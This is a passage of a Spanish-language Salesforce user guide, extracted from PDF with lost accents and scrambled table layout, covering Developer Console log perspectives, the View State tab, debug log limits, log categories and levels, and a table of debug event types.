3. Para guardar los cambios, haga clic en Guardar perspectiva. Para crear una nueva perspectiva, haga clic en Guardar perspectiva
como e introduzca un nuevo nombre.
CONSULTE TAMBIN
Inspector de registros
Gestin de perspectivas en el Inspector de registros

Gestin de perspectivas en el Inspector de registros


Una perspectiva es un formato predefinido de paneles del Inspector de registros de la Consola de desarrollador.
Cuando realice una tarea en el Inspector de registros, asegrese de seleccionar la perspectiva correcta para el trabajo.
Para gestionar las perspectivas, haga clic en Depuracin > Gestor de perspectiva.
Para cambiar a una perspectiva diferente, haga doble clic en el nombre de la perspectiva o seleccinela y haga clic en Abrir.
Para cambiar la perspectiva predeterminada, seleccione el nombre de la misma y haga clic en Definir como predeterminada.
Para eliminar una perspectiva, seleccione el nombre de la misma y haga clic en Eliminar.
Para crear una perspectiva personalizada, consulte Creacin de perspectivas personalizadas en el Inspector de registros.
Las siguientes perspectivas estn predefinidas:
Todas (predeterminado)

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 220

Depuracin: perspectiva diseada para la depuracin de cdigo que incluye los paneles Registro de ejecucin, Origen y Variables.

Registrar solo: perspectiva todo propsito para ver una ejecucin del registro que incluya solamente al panel Registro de ejecucin.

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 221

Anlisis: perspectiva diseada para el anlisis de registro que incluye los paneles rbol de pila, Pila de ejecucin, Registro de ejecucin
y Descripcin general de la ejecucin.

Utilice una perspectiva que permita completar la tarea de forma rpida y sencilla. Cada desarrollador tiene un estilo distinto; si las
perspectivas predefinidas no cumplen sus necesidades, es fcil disear una propia. Si desea ms informacin, consulte Creacin de
perspectivas personalizadas en el Inspector de registros
CONSULTE TAMBIN
Inspector de registros
Creacin de perspectivas personalizadas en el Inspector de registros

Mejora de Salesforce mediante cdigo

Gua del usuario | Depuracin utilizando la Consola de


desarrollador | 222

Ficha Estado de visualizacin


La ficha Estado de visualizacin de la Consola de desarrollador le permite examinar el estado de vista de una solicitud de pgina de
Visualforce.

La ficha Estado de visualizacin de la Consola de desarrollador funciona igual que la ficha Estado de visualizacin del pie del modo de
desarrollo de Visualforce, solo que al hacer doble clic en un nodo de carpeta no se abre una ventana de grfico circular. Consulte Acerca
de la ficha Ver estado en la Gua del desarrollador de Visualforce si desea informacin detallada.

Activacin de la ficha Estado de visualizacin


Para activar la ficha Estado de visualizacin:
1. En la parte superior de cualquier pgina de Salesforce, haga clic en la flecha hacia abajo junto a su nombre. En el men de debajo
de su nombre, seleccione Configuracin o Mi configuracin (aparecer una u otra opcin).
2. Desde el panel izquierdo, seleccione una de las siguientes opciones:
Si ha hecho clic en Configuracin, seleccione Mi informacin personal > Informacin personal.
Si ha hecho clic en Mi configuracin, seleccione Personal > Detalles de usuario avanzado.
3. Haga clic en Modificar.
4. Seleccione la casilla de verificacin Modo de desarrollo, si no est ya seleccionada.
5. Seleccione la casilla de verificacin Mostrar estado de vista en modo de desarrollo.
6. Haga clic en Guardar.
Nota: Como el estado de visualizacin est vinculado con los datos de formulario, la ficha Estado de visualizacin solo aparecer
si la pgina contiene una etiqueta <apex:form>. Adems, la ficha Estado de visualizacin solo se muestra en las pginas que
usen controladores personalizados o extensiones de controlador.

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 223

Registros de depuracin
Uso de registros de depuracin
PERMISOS DE USUARIO

EDICIONES

Para utilizar la Consola del desarrollador:

Ver todos los datos

Para ejecutar Apex annimas:

"Apex de autor"

Para usar una bsqueda de cdigo y


API activado
ejecutar SOQL o SOSL en la ficha de consulta:
Para guardar cambios en las clases y
desencadenadores de Apex:

Apex de autor

Para guardar los cambios en pginas y


componentes de Visualforce:

Personalizar aplicacin

Disponible en: Performance


Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
La interfaz de usuario de
Salesforce, los servicios de
correo electrnico y las
aprobaciones no estn
disponibles en
Database.com.

Un registro de depuracin puede registrar operaciones de base de datos, procesos del sistema y
errores que se producen al ejecutar una transaccin o al ejecutar pruebas de unidad. Los registros de depuracin pueden contener
informacin acerca de:
Modificaciones en base de datos
Llamadas HTTP
Errores de Apex
Recursos utilizados por Apex
Procesos de flujo de trabajo automatizado, como:
Reglas de flujo de trabajo
Reglas de asignacin
Procesos de aprobacin
Reglas de validacin
El sistema genera un registro de depuracin cada vez que se ejecuta una transaccin incluida en el criterio de filtro definido.
Las transacciones se pueden generar a partir de lo siguiente:
Interfaz de usuario de Salesforce
API
Llamadas executeanonymous
Servicios Web
Servicios de correo electrnico
Los criterios de filtro establecidos para el usuario, la consola del desarrollador o el encabezado de la API determinan lo que se incluye
en el registro de depuracin.
Nota: Los registros de depuracin no incluyen transacciones generadas por una conversin de candidatos. Por ejemplo, suponga
que un candidato convertido desencadena una regla de flujo de trabajo. El registro de depuracin no muestra que se ha activado
esta regla de flujo de trabajo.

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 224

Los siguientes son ejemplos de cundo se suele utilizar un registro de depuracin:


Cuando un desarrollador crea una aplicacin personalizada, puede utilizar el registro de depuracin para validar el comportamiento
de la aplicacin. Por ejemplo, puede establecer el filtro de registro de depuracin para que compruebe si hay llamadas y, a continuacin,
en el registro de depuracin, visualice informacin sobre el xito y la duracin de dichas llamadas.
Como un administrador de una organizacin, puede utilizar el registro de depuracin para resolver problemas cuando un usuario
informa de dificultades. Puede supervisar los registros de depuracin para el usuario mientras revisan la transaccin relacionada,
luego utilizar el registro de depuracin para ver los detalles del sistema.

Lmites del registro de depuracin


Los lmites para los registros de depuracin son los siguientes:
Una vez que se haya agregado un usuario, ste puede registrar hasta 20 registros de depuracin. Cuando un usuario alcanza este
lmite, los registros de depuracin dejan de registrarse para ese usuario. Haga clic en Restablecer en la pgina Supervisin de
registros de depuracin para restablecer el nmero de registros de ese usuario a 20. Los registros existentes no se sobrescriben.
Cada registro de depuracin puede ser de solamente 2 MB. Los registros de depuracin que superan los 2 MB se reducen en tamao
eliminando lneas de registro antiguas, como lneas de registro de declaraciones anteriores de System.debug. Se pueden eliminar
las lneas de registro desde cualquier ubicacin, no solo al comienzo del registro de depuracin.
Cada organizacin puede mantener hasta 50 MB de registros de depuracin. Una vez su organizacin haya alcanzado los 50 MB de
registros de depuracin, los registros ms antiguos empezarn a sobrescribirse.

Truncamiento de registros de depuracin


Con el fin de proporcionar la informacin ms precisa, se truncan los registros de depuracin comenzando por las entradas de registro
ms antiguas. Siempre se conservan las entradas de registro ms recientes. El registro de depuracin se trunca en 200 KB cuando alcanza
su tamao mximo de 2 MB.
Los siguientes eventos son necesarios para procesar el registro de depuracin y est asociados con entradas de registro que no se borran.
EXECUTION_STARTED
EXECUTION_FINISHED
CODE_UNIT_STARTED
CODE_UNIT_FINISHED
METHOD_ENTRY
METHOD_EXIT
CONSTRUCTOR_ENTRY
CONSTRUCTOR_EXIT
SOQL_EXECUTE_BEGIN
SOQL_EXECUTE_END
SOSL_EXECUTE_BEGIN
SOSL_EXECUTE_END
CALLOUT_REQUEST
CALLOUT_RESPONSE
FATAL_ERROR

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 225

Nota: Las entradas para eventos necesarios para procesar el registro de depuracin no se truncan y forman parte siempre del
registro de depuracin, pero otras informaciones del registro que aparecen entre las lneas iniciales y finales de estas entradas del
registro se borrarn como parte del truncamiento del registro.
CONSULTE TAMBIN
Bsqueda de un registro de depuracin

Filtros de categoras de registro de depuracin


PERMISOS DE USUARIO

EDICIONES

Para utilizar la Consola del desarrollador:

Ver todos los datos

Para ejecutar Apex annimo:

"Apex de autor"

Para usar una bsqueda de cdigo y


API activado
ejecutar SOQL o SOSL en la ficha de consulta:
Para guardar los cambios en las clases y
desencadenadores de Apex:

Apex de autor

Para guardar los cambios en pginas y


componentes de Visualforce:

Personalizar aplicacin

Disponible en: Enterprise


Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

Especifique el nivel de informacin incluida en registros de depuracin.


Cuando utilice la Consola de desarrollador o controle un registro de depuracin, puede especificar el nivel de informacin que se incluye
en el registro.
Categora de registro
El tipo de informacin registrada, como informacin de comandos o reglas de flujo de trabajo de Apex.
Nivel de registro
La cantidad de informacin registrada.
Tipo de evento
La combinacin de categora de registro y el nivel de registro que especifican los eventos que se incluyen en el registro. Cada evento
puede incluir informacin adicional, como el nmero de lnea y carcter en el que se inicia el evento, los campos asociados con el
evento, la duracin del evento en milisegundos, etctera.

Categoras de registro de depuracin


Puede especificar las siguientes categoras de registro. La cantidad de informacin registrada en cada categora depende del nivel de
registro:
Categora de registro

Descripcin

Base de datos

Incluye informacin sobre la actividad de la base de datos, incluyendo todos los datos del
lenguaje de manipulacin de datos (DML) las declaraciones o consultas en lnea SOQL o
SOSL.

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 226

Categora de registro

Descripcin

Flujo de trabajo

Incluye informacin de reglas de flujo de trabajo, como el nombre de la regla, las acciones
que se ejecutarn, etctera.

Validacin

Incluye informacin acerca de las reglas de validacin, como el nombre de la regla, si la regla
se evaluar como verdadera o falsa, etctera.

Llamada

Incluye el XML de solicitud de respuesta que el servidor enva y recibe informacin de un


servidor Web externo. Es de gran utilidad cuando se depuran cuestiones relacionadas con
el uso de las llamadas de API de los servicios Web de Force.com.

Cdigo Apex

Incluye informacin acerca del cdigo Apex y puede incluir informacin como mensajes de
registro generados por llamadas mediante declaraciones DML, consultas SOQL o SOSL en
lnea, y la entrada y salida de los desencadenadores y la entrada y salida de cualquier mtodo
de comprobacin, etctera.

Perfil de Apex

Incluye informacin sobre perfiles acumulada, como los lmites del espacio de nombre, el
nmero de correos electrnicos enviados, etctera.

Visualforce

Incluye informacin acerca de eventos de Visualforce incluyendo la serializacin y


deserializacin del estado de vista o la evaluacin o un campo de frmula en una pgina de
Visualforce.

System

Incluye informacin sobre llamadas a todos los mtodos de sistema como el mtodo
System.debug.

Niveles de registro de depuracin


Puede especificar los siguientes niveles de registro. Los niveles se enumeran de menor a mayor. Los eventos especficos se registran en
funcin de la combinacin de categora y niveles. La mayora de eventos se comienzan a registrar en el nivel INFO. El nivel se acumula,
es decir, si selecciona FINE, el registro tambin incluir todos los eventos registrados en los niveles DEBUG, INFO, WARN y ERROR.
Nota: Todos los niveles no estn disponibles en todas las categoras. nicamente los niveles que se corresponden con uno o ms
eventos estn disponibles.
ERROR
WARN
INFO
DEBUG
FINE
FINER
FINEST
Importante: Antes de ejecutar una implementacin, compruebe que el nivel de registro del cdigo Apex no est establecido
como MS EXHAUSTIVO. De lo contrario, la implementacin podra tardar ms de lo esperado. Si la Consola del desarrollador est
abierta, los niveles de registro en la Consola del desarrollador afectan todos los registros, incluyendo registros creados durante
una implementacin.

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 227

Tipos de evento de depuracin


A continuacin se incluye un ejemplo del contenido que se escribe en el registro de depuracin. El evento es USER_DEBUG. El formato
es timestamp | event identifier:
marca de hora: se compone de la hora a la que ha ocurrido el evento y un valor entre parntesis. La hora est en la zona horaria del
usuario con el formato HH:mm:ss.SSS El valor representa el tiempo transcurrido en milisegundos desde la hora de la solicitud.
El valor del tiempo transcurrido se excluye de los registros revisados en la Consola de desarrollador.
identificador de eventos: est compuesto por el evento especfico que ha activado el registro de depuracin que se escribe, como
SAVEPOINT_RESET o VALIDATION_RULE y cualquier informacin adicional registrada con ese evento, como el nombre
del mtodo o el nmero lnea y carcter en el que se ejecuta el cdigo.
A continuacin se incluye un ejemplo de una lnea de registro de depuracin.
Ejemplo de lnea de registro de depuracin

En este ejemplo, el identificador de eventos se compone de los siguientes elementos:


Nombre del evento:
USER_DEBUG

Nmero de lnea del evento en el cdigo:


[2]

Nivel de registro definido para el mtodo System.Debug:


DEBUG

Cadena proporcionada por el usuario para el mtodo System.Debug:


Hello world!

El siguiente ejemplo de una lnea de registro est activado por este miniprograma de cdigo.
Miniprograma de cdigo de lnea de registro de depuracin

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 228

La siguiente lnea de registro se escribe cuando la prueba alcanza la lnea 5 en el cdigo:


15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1

En este ejemplo, el identificador de eventos se compone de los siguientes elementos:


Nombre del evento:
DML_BEGIN

Nmero de lnea del evento en el cdigo:


[5]

Tipo de operacin DML: Insert:


Op:Insert

Nombre de objeto:
Type:Invoice_Statement__c

Nmero de filas superadas en la operacin DML:


Rows:1

La tabla siguiente enumera los tipos de eventos que se registran, los campos y otra informacin registrada con cada evento y la
combinacin de categora y nivel de registro que permite registrar un evento.
Nombre del evento

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

BULK_HEAP_ALLOCATE

Nmero de bytes asignados

Cdigo
Apex

FINEST

CALLOUT_REQUEST

Nmero de lnea y encabezados de solicitudes

Llamada

INFO y
anteriores

CALLOUT_RESPONSE

Nmero de lnea y cuerpo de respuesta

Llamada

INFO y
anteriores

CODE_UNIT_FINISHED

Ninguno

Cdigo
Apex

ERROR y
anteriores

CODE_UNIT_STARTED

Nmero de lnea y nombre de unidad de cdigo,


como MyTrigger on Account trigger

Cdigo
Apex

ERROR y
anteriores

event BeforeInsert for [new]


CONSTRUCTOR_ENTRY

Nmero de lnea, Id. de clase de Apex y la cadena


Cdigo
<init>() con los tipos de parmetros, si los hay, Apex
entre parntesis

DEBUG y
anterior

CONSTRUCTOR_EXIT

Nmero de lnea y la cadena <init>() con los


tipos de parmetros, si los hay, entre parntesis

Cdigo
Apex

DEBUG y
anterior

CUMULATIVE_LIMIT_USAGE

Ninguno

Perfil de
Apex

INFO y
anteriores

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 229

Nombre del evento

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

CUMULATIVE_LIMIT_USAGE_END

Ninguno

Perfil de
Apex

INFO y
anteriores

CUMULATIVE_PROFILING

Ninguno

Perfil de
Apex

FINE y
anteriores

CUMULATIVE_PROFILING_BEGIN

Ninguno

Perfil de
Apex

FINE y
anteriores

CUMULATIVE_PROFILING_END

Ninguno

Perfil de
Apex

FINE y
anteriores

DML_BEGIN

Nmero de lnea, operacin (como Insert,


Update, etctera), nombre o tipo de registro y
nmero de filas superadas en la operacin DML

DB

INFO y
anteriores

DML_END

Nmero de lnea

DB

INFO y
anteriores

EMAIL_QUEUE

Nmero de lnea

Cdigo
Apex

INFO y
anteriores

ENTERING_MANAGED_PKG

Espacio de nombre de paquete

Cdigo
Apex

INFO y
anteriores

EXCEPTION_THROWN

Nmero de lnea, tipo de excepcin y mensaje

Cdigo
Apex

INFO y
anteriores

EXECUTION_FINISHED

Ninguno

Cdigo
Apex

ERROR y
anteriores

EXECUTION_STARTED

Ninguno

Cdigo
Apex

ERROR y
anteriores

FATAL_ERROR

Tipo de excepcin, mensaje y rastreo de paquete

Cdigo
Apex

ERROR y
anteriores

FLOW_ACTIONCALL_DETAIL

Id. de entrevista, nombre de elemento, tipo de accin, Flujo de


Id. o enumeracin de accin, si la llamada de accin trabajo
es correcta y mensaje de error

FINER y
anteriores

FLOW_ASSIGNMENT_DETAIL

Id. de entrevista, referencia, operador y valor

Flujo de
trabajo

FINER y
anteriores

FLOW_BULK_ELEMENT_BEGIN

Id. de entrevista y tipo de elemento

Flujo de
trabajo

FINE y
anteriores

FLOW_BULK_ELEMENT_DETAIL

Id. de entrevista, tipo de elemento, nombre de


Flujo de
elemento, nmero de registros y tiempo de ejecucin trabajo

FINER y
anteriores

FLOW_BULK_ELEMENT_END

Id. de entrevista, tipo de elemento, nombre de


elemento y nmero de registros

FINE y
anteriores

Flujo de
trabajo

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 230

Nombre del evento

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

FLOW_CREATE_INTERVIEW_BEGIN

Id. de organizacin, Id. de definicin e Id. de versin Flujo de


trabajo

INFO y
anteriores

FLOW_CREATE_INTERVIEW_END

Id. de entrevista y nombre de flujo

Flujo de
trabajo

INFO y
anteriores

FLOW_CREATE_INTERVIEW_ERROR

Mensaje, Id. de organizacin, Id. de definicin e Id. de Flujo de


versin
trabajo

ERROR y
anteriores

FLOW_ELEMENT_BEGIN

Id. de entrevista, tipo de elemento y nombre de


elemento

Flujo de
trabajo

FINE y
anteriores

FLOW_ELEMENT_END

Id. de entrevista, tipo de elemento y nombre de


elemento

Flujo de
trabajo

FINE y
anteriores

FLOW_ELEMENT_ERROR

Mensaje, tipo de elemento y nombre de elemento


(excepcin del tiempo de ejecucin del flujo)

Flujo de
trabajo

ERROR y
anteriores

FLOW_ELEMENT_ERROR

Mensaje, tipo de elemento y nombre de elemento


(no se han encontrado favores)

Flujo de
trabajo

ERROR y
anteriores

FLOW_ELEMENT_ERROR

Mensaje, tipo de elemento y nombre de elemento


(excepcin del diseador)

Flujo de
trabajo

ERROR y
anteriores

FLOW_ELEMENT_ERROR

Mensaje, tipo de elemento y nombre de elemento


(se ha superado el lmite del diseador)

Flujo de
trabajo

ERROR y
anteriores

FLOW_ELEMENT_ERROR

Mensaje, tipo de elemento y nombre de elemento


(excepcin de tiempo de ejecucin del diseador)

Flujo de
trabajo

ERROR y
anteriores

FLOW_ELEMENT_FAULT

Mensaje, tipo de elemento y nombre de elemento


(se ha empleado ruta de fallo)

Flujo de
trabajo

ADVERTENCIA
y anteriores

FLOW_ELEMENT_FAULT

Mensaje, tipo de elemento y nombre de elemento


(se ha diferido el elemento)

Flujo de
trabajo

FINER y
anteriores

FLOW_LOOP_DETAIL

Id. de entrevista, ndice y valor


El ndice es la posicin en la variable de la coleccin
para el elemento en el que funciona el bucle.

FLOW_RULE_DETAIL

Id. de entrevista, nombre de regla y resultado

Flujo de
trabajo

FINER y
anteriores

FLOW_START_INTERVIEW_BEGIN

Id. de entrevista y nombre de flujo

Flujo de
trabajo

INFO y
anteriores

FLOW_START_INTERVIEW_END

Id. de entrevista y nombre de flujo

Flujo de
trabajo

INFO y
anteriores

FLOW_START_INTERVIEWS_BEGIN

Solicitudes

Flujo de
trabajo

INFO y
anteriores

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 231

Nombre del evento

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

FLOW_START_INTERVIEWS_END

Solicitudes

Flujo de
trabajo

INFO y
anteriores

FLOW_START_INTERVIEWS_ERROR

Mensaje, Id. de entrevista y nombre de flujo

Flujo de
trabajo

ERROR y
anteriores

FLOW_SUBFLOW_DETAIL

Id. de entrevista, nombre, Id. de definicin e Id. de


versin

Flujo de
trabajo

FINER y
anteriores

FLOW_VALUE_ASSIGNMENT

Id. de entrevista, clave y valor

Flujo de
trabajo

FINER y
anteriores

Flujo de
trabajo

FINER y
anteriores

FLOW_WAIT_EVENT_WAITING_DETAIL

Id. de entrevista, nombre de elemento, nombre de Flujo de


evento, tipo de evento y si se cumplen las condiciones trabajo

FINER y
anteriores

FLOW_WAIT_RESUMING_DETAIL

Id. de entrevista, nombre de elemento e Id. de


entrevista continua

Flujo de
trabajo

FINER y
anteriores

FLOW_WAIT_WAITING_DETAIL

Id. de entrevista, nombre de elemento, nmero de


eventos para los que est esperando el elemento e
Id. de entrevista continua

Flujo de
trabajo

FINER y
anteriores

HEAP_ALLOCATE

Nmero de lnea y nmero de bytes

Cdigo
Apex

FINER y
anteriores

HEAP_DEALLOCATE

Nmero de lnea y nmero de bytes no asignados

Cdigo
Apex

FINER y
anteriores

IDEAS_QUERY_EXECUTE

Nmero de lnea

DB

FINEST

LIMIT_USAGE_FOR_NS

Espacio de nombres y lmites siguientes:

Perfil de
Apex

FINEST

FLOW_WAIT_EVENT_RESUMING_DETAIL Id. de entrevista, nombre de elemento, nombre de

evento y tipo de evento

Number of SOQL queries


Number of query rows
Number of SOSL queries
Number of DML statements
Number of DML rows
Number of code statements
Maximum heap size
Number of callouts
Number of Email Invocations

Mejora de Salesforce mediante cdigo

Nombre del evento

Gua del usuario | Registros de depuracin | 232

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

Number of fields describes


Number of record type describes
Number of child relationships
describes
Number of picklist describes
Number of future calls
Number of find similar calls
Number of System.runAs()
invocations

METHOD_ENTRY

Nmero de lnea, el Id. de la clase de Force.com y la Cdigo


firma de mtodo
Apex

DEBUG y
anterior

METHOD_EXIT

Nmero de lnea, el Id. de la clase de Force.com y la Cdigo


firma de mtodo.
Apex

DEBUG y
anterior

En el caso de constructores, se registra la siguiente


informacin: Nmero de lnea y nombre de clase.
POP_TRACE_FLAGS

Nmero de lnea, el Id. de la clase o desencadenador System


de Force.com que tiene sus filtros de registro
definidos y que entra en el mbito y el nombre de
esta clase o desencadenador, la configuracin del
filtro de registro que estn en efecto despus de salir
del mbito

INFO y
anteriores

PUSH_NOTIFICATION_INVALID_APP

Espacio de nombres de aplicacin, nombre de


aplicacin.

Cdigo
Apex

ERROR

Cdigo
Apex

ERROR

Este evento se genera cuando el cdigo Apex intenta


enviar una notificacin a una aplicacin que no existe
en la organizacin o no se ha habilitado para la
distribucin.
PUSH_NOTIFICATION_INVALID_CERTIFICATE Espacio de nombres de aplicacin, nombre de

aplicacin.
Este evento indica que el certificado no es vlido. Por
ejemplo, ha caducado.

Mejora de Salesforce mediante cdigo

Nombre del evento

Gua del usuario | Registros de depuracin | 233

Campos o informacin registrada con el


evento

PUSH_NOTIFICATION_INVALID_NOTIFICATION Espacio de nombres de aplicacin, nombre de

aplicacin, tipo de servicio (Apple o Android GCM),


identificador de usuario, dispositivo, carga
(subcadena), longitud de carga.

Categora Nivel
registrada registrado
Cdigo
Apex

ERROR

Cdigo
Apex

DEBUG

Este evento se genera si la carga de notificacin es


demasiado larga.
PUSH_NOTIFICATION_NO_DEVICES

Espacio de nombres de aplicacin, nombre de


aplicacin.
Este evento se genera si ningn usuario ha intentado
enviar notificaciones para registrar dispositivos.

PUSH_NOTIFICATION_NOT_ENABLED

Este evento se genera si las notificaciones distribuidas Cdigo


Apex
no estn habilitadas en su organizacin.

INFO

PUSH_NOTIFICATION_SENT

Espacio de nombres de aplicacin, nombre de


aplicacin, tipo de servicio (Apple o Android GCM),
identificador de usuario, dispositivo, carga
(subcadena).

DEBUG

Cdigo
Apex

Este evento registra que se ha aceptado una


notificacin para su envo. No se garantizar la entrega
de la notificacin.
PUSH_TRACE_FLAGS

Nmero de lnea, el Id. de la clase o desencadenador System


de Force.com que tiene sus filtros de registro
definidos y que sale del mbito, el nombre de esta
clase o desencadenador y la configuracin del filtro
de registro que estn en efecto despus de entrar en
el mbito

INFO y
anteriores

QUERY_MORE_BEGIN

Nmero de lnea

DB

INFO y
anteriores

QUERY_MORE_END

Nmero de lnea

DB

INFO y
anteriores

QUERY_MORE_ITERATIONS

Nmero de lnea y nmero de iteraciones de

DB

INFO y
anteriores

queryMore
SAVEPOINT_ROLLBACK

Nmero de lnea y nombre del punto de


almacenamiento.

DB

INFO y
anteriores

SAVEPOINT_SET

Nmero de lnea y nombre del punto de


almacenamiento.

DB

INFO y
anteriores

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 234

Nombre del evento

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

SLA_END

Nmero de casos, tiempo de carga, tiempo de


procesamiento, nmero de eventos clave de casos
que se insertarn/actualizarn/eliminarn y nuevo
desencadenante

Flujo de
trabajo

INFO y
anteriores

SLA_EVAL_MILESTONE

Id. de evento clave

Flujo de
trabajo

INFO y
anteriores

SLA_NULL_START_DATE

Ninguno

Flujo de
trabajo

INFO y
anteriores

SLA_PROCESS_CASE

Id. de caso

Flujo de
trabajo

INFO y
anteriores

SOQL_EXECUTE_BEGIN

Nmero de lnea, nmero de agregaciones y origen DB


de consulta

INFO y
anteriores

SOQL_EXECUTE_END

Nmero de lnea, nmero de filas y duracin en


milisegundos

DB

INFO y
anteriores

SOSL_EXECUTE_BEGIN

Nmero de lnea y origen de consulta

DB

INFO y
anteriores

SOSL_EXECUTE_END

Nmero de lnea, nmero de filas y duracin en


milisegundos

DB

INFO y
anteriores

STACK_FRAME_VARIABLE_LIST

Nmero de marco y lista de variables con el formato: Perfil de


Nmero de variable | Valor. Por ejemplo: Apex

FINE y
anteriores

var1:50
var2:'Hello World'

STATEMENT_EXECUTE

Nmero de lnea

Cdigo
Apex

FINER y
anteriores

STATIC_VARIABLE_LIST

Lista de variables con el formato: Nmero de


variable | Valor. Por ejemplo:

Perfil de
Apex

FINE y
anteriores

var1:50
var2:'Hello World'

SYSTEM_CONSTRUCTOR_ENTRY

Nmero de lnea y la cadena <init>() con los


tipos de parmetros, si los hay, entre parntesis

System

DEBUG y
anterior

SYSTEM_CONSTRUCTOR_EXIT

Nmero de lnea y la cadena <init>() con los


tipos de parmetros, si los hay, entre parntesis

System

DEBUG y
anterior

SYSTEM_METHOD_ENTRY

Nmero de lnea y firma de mtodo

System

DEBUG y
anterior

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 235

Nombre del evento

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

SYSTEM_METHOD_EXIT

Nmero de lnea y firma de mtodo

System

DEBUG y
anterior

SYSTEM_MODE_ENTER

Nombre de modo

System

INFO y
anteriores

SYSTEM_MODE_EXIT

Nombre de modo

System

INFO y
anteriores

TESTING_LIMITS

Ninguno

Perfil de
Apex

INFO y
anteriores

TOTAL_EMAIL_RECIPIENTS_QUEUED

Nmero de correos electrnicos enviados

Perfil de
Apex

FINE y
anteriores

USER_DEBUG

Nmero de lnea, nivel de registro y cadena


proporcionada por el usuario

Cdigo
Apex

DEBUG y
anteriores por
defecto. Si el
usuario
define el nivel
de registro
del mtodo
System.Debug,
el evento se
registra en el
nivel en su
lugar.

VALIDATION_ERROR

Mensaje de error

Validacin

INFO y
anteriores

VALIDATION_FAIL

Ninguno

Validacin

INFO y
anteriores

VALIDATION_FORMULA

Origen de frmula y valores

Validacin

INFO y
anteriores

VALIDATION_PASS

Ninguno

Validacin

INFO y
anteriores

VALIDATION_RULE

Nombre de regla

Validacin

INFO y
anteriores

VARIABLE_ASSIGNMENT

Nmero de lnea, nombre de variable, una


Cdigo
representacin de cadena del valor de la variable y la Apex
direccin de la variable

FINEST

VARIABLE_SCOPE_BEGIN

Nmero de lnea, nombre de variable, tipo, un valor Cdigo


que indica si se puede hacer referencia a la variable Apex
y un valor que indica si la variable es esttica

FINEST

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 236

Nombre del evento

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

VARIABLE_SCOPE_END

Ninguno

Cdigo
Apex

VF_APEX_CALL

Nombre del elemento, nombre de mtodo y tipo de Cdigo


respuesta
Apex

INFO y
anteriores

VF_DESERIALIZE_VIEWSTATE_BEGIN

Id. de estado de vista

Visualforce

INFO y
anteriores

VF_DESERIALIZE_VIEWSTATE_END

Ninguno

Visualforce

INFO y
anteriores

VF_EVALUATE_FORMULA_BEGIN

Id. de estado de vista y frmula

Visualforce

FINER y
anteriores

VF_EVALUATE_FORMULA_END

Ninguno

Visualforce

FINER y
anteriores

VF_PAGE_MESSAGE

Texto del mensaje

Cdigo
Apex

INFO y
anteriores

VF_SERIALIZE_VIEWSTATE_BEGIN

Id. de estado de vista

Visualforce

INFO y
anteriores

VF_SERIALIZE_VIEWSTATE_END

Ninguno

Visualforce

INFO y
anteriores

WF_ACTION

Descripcin de la accin

Flujo de
trabajo

INFO y
anteriores

WF_ACTION_TASK

Asunto de tarea, Id. de accin, regla, propietario y


fecha de vencimiento

Flujo de
trabajo

INFO y
anteriores

WF_ACTIONS_END

Resumen de las acciones realizadas

Flujo de
trabajo

INFO y
anteriores

WF_APPROVAL

Tipo de transicin, EntityName: NameField Flujo de


trabajo
Id y nombre del nodo del proceso

INFO y
anteriores

WF_APPROVAL_REMOVE

EntityName: NameField Id

Flujo de
trabajo

INFO y
anteriores

WF_APPROVAL_SUBMIT

EntityName: NameField Id

Flujo de
trabajo

INFO y
anteriores

WF_ASSIGN

Propietario e Id. de plantilla asignada

Flujo de
trabajo

INFO y
anteriores

WF_CRITERIA_BEGIN

EntityName: NameField Id, nombre de

Flujo de
regla, Id. de regla y tipo de desencadenador (si la regla trabajo
respeta los tipos de desencadenadores)

INFO y
anteriores

WF_CRITERIA_END

Valor booleano indicando el xito (verdadero o falso) Flujo de


trabajo

INFO y
anteriores

FINEST

Mejora de Salesforce mediante cdigo

Gua del usuario | Registros de depuracin | 237

Nombre del evento

Campos o informacin registrada con el


evento

Categora Nivel
registrada registrado

WF_EMAIL_ALERT

Id. de accin y regla

Flujo de
trabajo

INFO y
anteriores

WF_EMAIL_SENT

Id. de plantilla de correo electrnico, destinatarios y Flujo de


correos electrnicos CC
trabajo

INFO y
anteriores

WF_ENQUEUE_ACTIONS

Resumen de acciones en cola

Flujo de
trabajo

INFO y
anteriores

WF_ESCALATION_ACTION

Id. de caso y horas comerciales

Flujo de
trabajo

INFO y
anteriores

WF_ESCALATION_RULE

Ninguno

Flujo de
trabajo

INFO y
anteriores

WF_EVAL_ENTRY_CRITERIA

Nombre del proceso, Id. de plantilla de correo


Flujo de
electrnico y valor booleano que indica el resultado trabajo
(verdadero o falso)

INFO y
anteriores

WF_FIELD_UPDATE

EntityName: NameField Id y nombre del Flujo de

objeto o campo

trabajo

INFO y
anteriores

WF_FORMULA

Origen de frmula y valores

Flujo de
trabajo

INFO y
anteriores

WF_HARD_REJECT

Ninguno

Flujo de
trabajo

INFO y
anteriores

WF_NEXT_APPROVER

Propietario, siguiente tipo de propietario y campo

Flujo de
trabajo

INFO y
anteriores

WF_NO_PROCESS_FOUND

Ninguno

Flujo de
trabajo

